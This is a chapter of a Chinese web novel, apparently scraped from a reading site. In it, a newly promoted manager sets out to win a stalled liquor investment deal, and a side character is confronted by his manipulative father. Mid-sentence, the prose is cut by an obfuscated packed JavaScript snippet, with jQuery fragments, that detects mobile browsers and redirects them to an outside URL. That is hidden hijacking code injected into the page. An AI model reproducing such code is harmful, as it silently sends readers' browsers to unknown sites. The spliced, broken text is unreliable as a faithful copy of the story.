123读书网 > 玄幻小说 > 路人甲也要当万人迷? > 20. 第20章
    顾妤知现在所在的城市曾经流行过一种酒,名叫“闲云”。乍一听像个人名,实际上是一种度数不高、酒体清冽似有回甘,细品还有一股竹香的清酒。


    最开始是在郊区的游客在一座山的山脚下的村民家里喝到的,这游客也是个做自媒体的奇才,随手一发的帖子竟然火了,一时间僻静的山林人满为患,都想尝尝这泉水一般的竹子清酒究竟是个什么味儿。


    等一干人去了才懂得,这酒是住在山顶上的裴先生所酿,一年只卖一回,而且只卖给山下的村民。一户就这么三四壶,人家村民自己都不够喝,更不用说卖给游客了。


    少部分能喝到的游客都赞不绝口,都说是一辈子喝过最好喝的酒,勾得更多的人心痒痒。


    一时间,闲云风靡一时,一壶难求,不仅吸引来了游客,连黄牛也闻到了风声。那小小一壶酒,一夜之间竟然被炒到了十万一壶,实在是夸张。


    当然,这酒不仅引来了游客和黄牛,也引来的很多投资公司,靳氏就是其中一家。


    所有人都想着,既然从村民手里收不到,不如直接上山去找那位裴先生,直接越过中间商,从他的手里买。


    结果这位裴先生直接报了警,警方出动那一群闹哄哄的人全都赶下了山。这时众人才知道,这座山是裴先生的私人所有,没有允许外人是不能进的,众人甚至不知道这位裴先生长什么样。


    山下的村民也开始对闲云和裴先生闭口不提,甚至开始统一口径说从来没见过这酒,从来没喝过也从来没有过,不管谁来问都一样。


    大家都猜,这位裴先生,一定是个非常傲慢的住在深山里的老头。


    靳氏自然不会放过这个机会,派了很多人去寻,结果无一例外全都没这位裴先生打了回来,兜兜转转,这个项目经过很多人的手,接着流到了冯经理这里,最后又落到了顾妤知手上。


    不得不说,光是看着资料上的描述,连顾妤知自己都开始好奇,这酒究竟是个什么味道。


    但是她更在意的是,这酒要是能被投资,赚钱那是板上钉钉的事,她去搜了一下社媒,过了快五年了居然还有人在问怎么得到这酒。


    顾妤知自己对酒本来没什么兴趣,她不喜欢这种被酒精控制大脑的感觉。不过她前男友家里是做酒业的,加上她工作后应酬变多,酒量也不算差。


    她要去会会这位裴先生。


    正好靳云开过几天要出差,她就趁着这几天去跑一趟,省得那几天白白成为董事长的眼中钉。


    打定了主意后,顾妤知抱着资料又回到了靳云开的办公室,把自己的意图告诉了他。


    靳云开倒是没什么意见,这个项目他以前跟过,不过也失败了。他不担心顾妤知的能力,他担心的是另外一件事。


    只听他道:“你去倒是没问题,但是这个裴先生很难搞,都没人见过他,”


    “而且那几年之后他还安排了人巡山,荒山野岭的,你确定要自己去?”


    顾妤知坐在他对面,神情自若地回他:“这有什么,现在公司里我能信的只有夏桃和纪文,这两个人一个当了组长忙得要命,一个又在休病假,而你又要出差。”


    “反正我是去定了,不管是酒还是人我都要找到,”


    “如果这么难搞的项目被我搞定了,那我们的传言不就消了?


    “说不定还能趁这个机会挑几个上道的人培养培养,你说是不是?靳总?”


    靳云开点点头,不置可否。


    可是他不想他和顾妤知的传言,就这么轻而易举地散掉,既然传了,就贯彻到底不好吗。


    靳云开把私心藏在心里,面色踌躇地回她:“可是……我还是担心你的安全,没人知道那座山有什么,我看天气预报最近几天又要下雨,雨天路滑的,要不你等我回来,我们一起去?”


    顾妤知听了差点没翻白眼,站起身把资料拿走,凉凉地看着他:“靳云开,我是个26周岁常年泡健身房的成年女性,我只是去爬个山找个人,能有什么危险?”


    靳云开耸耸肩,无奈道:“好吧,听你的,有什么需要随时来找我。”


    “不过,”靳云开搓了搓指尖,“那天在档案室的时候,我抱着你,感觉你身上很软,不像是泡健身房的样子。”


    顾妤知闻言一愣,差点没反应过来靳云开是什么意思。


    她冷哼一声,反击了回去:“呵,靳总硬得跟个石头一样,硌得要命,我确实不能和您比。”


    靳云开:?


    什么意思?!


    自己明明该硬的地方硬,该软的地方软啊!而且从顾妤知先前的反应来看,她不应该很喜欢吗?!


    靳云开又有点焦虑了。


    靳云开的表情精彩纷呈,顾妤知心情大好,头也不回地离开了靳云开的办公室。


    不过靳云开倒是提醒她了,她掐着胳膊上的软肉,反应过来自己来到这个世界之后,一次健身房也没去过。


    是得运动起来,不然工作强度一上来,身体吃不消的,还有个任务等着她。


    顾妤知理所应当地把这次去找闲云的事当成了任务。


    任务没有提示这件事一直让她非常费解,整个人跟瞎子过河一样,什么都摸不着看不透。


    她之前怀疑任务和她自己的意识是绑定的,可后面发生的一切好像又不像,这次的事究竟是不是任务,其实她自己也拿不准。


    走一步算一步,先把眼下的事情做好最重要,顾妤知心想。


    顾妤知回到工位上,把A区的人分成了四批全都开了会,她表面是为了从职员中找出那些经手过这个项目的人,暗地里是在用这种方式告诉A组的所有人,自己要正式接手这个所有人都搞不定的项目。


    不出她所料,每一批开会的职员,尤其是经手过项目的,听到她说完后都非常震惊,在一传十十传百,整个投资部的人都知道这个新上任的顾经理,要去搞定那个停滞了五年的项目“闲云”,而且还是她自己一个人去。


    连夏桃都跑来担心地问她:“妤知,你真的要自己去吗?”


    “我也不忙的,我陪你吧?”


    怎么可能不忙,顾妤知心想。


    夏桃当了组长,她那一组的组


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260270|197287||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    员手上的东西都要先她先过一遍,再发给顾妤知。


    而且顾妤知升职了,空出来的位置很快就会有新人来,到时候夏桃还要带新人,就更忙了。


    不过顾妤知没有说破,“没事儿桃子,去签个项目而已,”


    “你在公司等着我,我签下了,我们就去搓个大的!”


    夏桃眼睛放光了,“真的?!”


    顾妤知笑着点头。


    “那我要去泡温泉!你得和我一起!”


    *


    另一边,在那片有点年头的老小区内,纪文在坐在楼下的破旧的石椅上,他的脚边围了好几只流浪猫和几个空罐头,那几只猫正趴在他脚边和他一起晒太阳,阳光晒得他的手臂暖烘烘的。


    他动荡的前半生里难得有这么平和的时候。


    纪文很小的时候就知道自己和普通的小孩不一样,他甚至幼稚地以为父亲这个角色不存在,直到他和妈妈在国外辗转换了三个城市,他才明白原来大家都有爸爸,就他没有。


    直到后来发生了那件事,他的这个消失多年的父亲才出现,这个时候他已经大学毕业了。


    他对这个突然冒出来的父亲一点感情也没有。


    他和妈妈初来国外的时候语言不通,为了供他读书吃尽苦头,他也很努力,拼了命地学习,终于上了理想的艺术院校,也因为成绩优异成功毕业了。


    但是他的妈妈在他大学毕业典礼的前一天因病离世。


    他恨自己懦弱,恨自己无能,恨在妈妈离开前没让她过上一天好日子,更恨这个突然冒出来要利用他夺别人家产的父亲。


    可是之前他没有办法,他只能答应,他如果不这么做,就不能完成妈妈的遗愿了。


    纪文睁开眼睛,从口袋里拿出一个已经开裂的棕色的皮夹,里面夹着是他和妈妈最后的一张合照。


    接着,他的目光又落到了自己的受伤的手臂上。


    他突然感觉到了一股前所未有的勇气。


    他就不信了,没了父亲的帮助,自己做不成这件事。


    还好他之前没按照父亲的说法对靳云开做些什么,不然自己根本不可能不会有机会遇见顾妤知,纪文想想都后怕。


    顾妤知之前确实对他心有芥蒂,但这件事之后她对他的态度明显有了转变,他这一刀没白挨。


    纪文暗下决心,他一定要永远留在顾妤知身边,不管是以什么身份。


    纪文靠着椅子闭上眼小憩,脚边的流浪猫蹭来蹭去,他也不理,任凭它们蹭着。


    忽然间,不知怎的,那些小猫突然就不见了,他闭着眼睛,感觉自己的前方暗了一角。


    他再一睁眼,他的身旁不知道什么时候围了一圈保镖,而他的父亲,就站在他正前方,非常慈爱地看着他。


    纪文被吓到了,缩着手臂警惕地看向面前这个陌生的男人。


    “父亲?”


    靳父握着双手,身子慢慢向前他靠近,脸上和蔼的笑容不减分毫。


    “我亲爱的儿子,我让你做的事,你怎么都没做呢。”


    “真是不乖。”